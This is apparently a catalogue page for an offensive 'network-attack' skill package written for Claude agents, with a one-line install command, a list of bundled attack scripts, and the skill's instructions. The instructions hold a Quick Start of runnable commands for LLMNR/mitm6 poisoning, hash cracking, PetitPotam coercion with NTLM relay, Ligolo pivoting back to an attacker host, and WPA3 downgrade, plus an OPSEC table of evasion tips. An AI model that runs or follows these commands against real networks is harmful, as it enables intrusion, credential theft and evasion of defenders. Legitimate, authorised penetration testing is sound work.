Network Attack Skill for Claude

Use when attacking a network or moving laterally — L2/L3 poisoning (LLMNR/mDNS, ARP/DHCP, mitm6), coercion + NTLM relay (CVE-2025-33073), TUN pivoting (Ligolo-ng/Chisel), MitM, network-service RCE (CVE-2024-38077), WPA2/WPA3 wireless

22k tokens

context cost

the whole folder, loaded on every use

files

ships runnable scripts

copies elsewhere

how many repositories repackaged it

334

stars on the repo

on the repository, not the skill itself

Install

one command, takes just this skill from the repository

npx skills add https://github.com/hypnguyen1209/offensive-claude --skill network-attack

What comes with it

76 367 bytes besides the instruction

references/coercion-relay-network.md

references/l2-attacks.md

references/mitm-interception.md

references/pivoting-tunneling.md

references/protocol-rce.md

references/wireless-attacks.md

scripts/bettercap_mitm.sh

scripts/mitm6_relay_launcher.sh

scripts/net_service_scan.py

scripts/pivot_autoroute.sh

scripts/relay_target_finder.py

scripts/responder_loot_parser.py

scripts/vlan_hop.py

scripts/wifi_attack.sh

The instruction itself

6 sections, as written by the author

Network Attack & Lateral Movement

When to Activate

Internal network pentest from an unauthenticated wire position or initial foothold
Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and

ticket/DCSync work, hand off to active-directory-attack.

Technique Map

|-----------|--------|-----|-----------|--------|

| DHCP starvation / rogue DHCP | T1557.003 | CWE-300 | references/l2-attacks.md | - |

| DNS tunneling (iodine/dnscat2) | T1071.004, T1572 | CWE-923 | references/pivoting-tunneling.md | - |

Quick Start

# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

OPSEC & Detection (summary)

|-----------|-----------------|--------------------------|------------|

| LLMNR/NBT-NS/mDNS poison | one host answers many names; 4624/4625 type-3 burst to a workstation | Sigma name-resolution-poisoning; disable LLMNR/NBT-NS via GPO | -A is silent; full mode answers everything — scope tight |

| mitm6 IPv6 takeover | rogue DHCPv6 (UDP 547); endpoint IPv6 DNS change; 4741 computer add | Zeek rogue-DHCPv6 rule; RA-Guard/DHCPv6-Guard | very loud (whole VLAN); set MachineAccountQuota=0; delete created acct/RBCD |

| ARP/DNS spoof MitM | dup-MAC, gateway MAC change, rogue DNS answers | DAI, arpwatch, DNS-source allowlist | half-duplex cuts ARP volume; restore tables on exit; HSTS breaks sslstrip |

| Coercion + relay | EFSR/RPRN/DFSNM RPC; SMB→service from odd host | RPC Filter logs; signing:False target enumeration | coercion is "by-design"; needs signing/EPA off; SMB signing kills it |

| NTLM reflection (CVE-2025-33073) | 4624/4648 NTLM logon to self; new AD DNS A record + coercion | Sigma self-NTLM-logon; marshalled-DNS detect (Jun-2025 patch) | needs signing:False; delete crafted DNS record; patch+signing both fix |

| Ligolo/Chisel/SSH pivot | long-lived single TLS to ext IP; reverse listeners on pivot | NDR JA3/JA4 on Go TLS; beacon/-retry; binary on disk | run proxy on 443 to blend; rename agent; no admin needed on target |

| Service RCE (MadLicense/NEGOEX/EternalBlue) | service crash/restart (SCM 7031); scanner fan-out 445/3389/1688 | crash telemetry; patch level; NSE smb-vuln | memory-corruption = DoS risk; never spray wormable; lab-validate, sign-off |

| WPA3-Transition downgrade | 2nd BSSID for SSID; PSK+SAE+MFP-off advertised | WIPS rogue-AP; Transition-Disable bit | rogue AP beacons continuously — minimize on-air; WPA3-only+MFP defeats |

Deep Dives

references/l2-attacks.md — LLMNR/NBT-NS/mDNS poisoning (Responder, WebDAV pivot, NTLMv1 downgrade), ARP/DHCP spoofing, IPv6 takeover (mitm6 + ntlmrelayx, 2025 resurgence), STP root hijack & VLAN hopping (DTP, 802.1Q double-tag).
references/coercion-relay-network.md — Relay-surface mapping (SMB signing/EPA, RelayKing), coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV + RPC Filter), NTLM relay to SMB/MSSQL/WinRM, CVE-2025-33073 NTLM reflection → SYSTEM. Hands AD targets to active-directory-attack.
references/pivoting-tunneling.md — Ligolo-ng (TUN/gVisor, autoroute, v0.8 multiplayer, double-pivot, ligolo-mp), Chisel HTTP-SOCKS, SSH -D/-J, DNS tunneling (iodine/dnscat2), proxychains chaining, tool-selection matrix.
references/mitm-interception.md — bettercap inline MitM, sslstrip (HSTS limits), DNS spoof, RDP MitM (PyRDP/Seth, NLA), STARTTLS stripping, SSH TOFU MitM, cookie/session theft.
references/protocol-rce.md — CVE-2024-38077 MadLicense (RDL), CVE-2025-47981 NEGOEX (wormable), CVE-2025-21307 RMCAST, CVE-2025-24035/45 RDS, MS17-010 EternalBlue, MSSQL xp_cmdshell/link crawl, WinRM, LDAP passback.
references/wireless-attacks.md — WPA2 handshake/PMKID crack, WPA3-Transition downgrade (Dragonblood; DragonShift/eaphammer, 2024-2025 reproductions), evil-twin WPA-Enterprise MSCHAPv2 capture, hashcat workflows.

Other skills for the same job

different authors, same section of the catalogue

Backend Security Coder

by ComeOnOliver

×2

Expert in secure backend coding practices specializing in input validation, authentication, and API security. Use PROACTIVELY for backend security implementations or security code reviews.

5k tokens

Cloud Penetration Testing

by ComeOnOliver

×2

This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.

16k tokens

Codebase Cleanup Deps Audit

by ComeOnOliver

×2

You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.

Comprehensive Flow Nexus platform management - authentication, sandboxes, app deployment, payments, and challenges

14k tokens

Linux Privilege Escalation

by ComeOnOliver

×2

This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.

Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.

This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.

7k tokens

Mobile Security Coder

by ComeOnOliver

×2

Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.

6k tokens

How to use it

Copy the folder

Take hypnguyen1209/network-attack from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.